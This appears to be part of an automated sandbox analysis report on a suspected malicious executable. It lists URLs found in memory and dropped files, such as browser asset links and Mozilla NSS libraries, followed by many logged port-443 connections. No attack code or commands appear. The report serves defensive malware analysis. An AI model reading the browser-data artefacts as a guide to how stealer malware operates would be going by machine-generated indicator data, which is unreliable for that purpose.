Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log7.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://gaana.com/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://m.kugou.com/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://m.vk.com/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://music.amazon.com
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://music.apple.com
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log.10.dr, 000003.log2.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log.10.dr, 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13377108694953048.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://open.spotify.com
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.com/
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://tidal.com/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://web.telegram.org/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://web.whatsapp.com
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2748824901.00000000232B3000.00000004.00000020.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2384756090.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, IEGCBFHJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2384756090.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, GIIIIJDH.0.dr, IEGCBFHJ.0.dr, Web Data.10.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 053e92a9-eb83-456a-ba36-55378499de96.tmp.11.dr, a89d4ac7-7cb3-47c6-a86a-7b91df348d70.tmp.11.dr	String found in binary or memory: https://www.googleapis.com
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.instagram.com
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.last.fm/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.messenger.com
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.office.com
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2748824901.00000000232B3000.00000004.00000020.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.tiktok.com/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://www.youtube.com
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
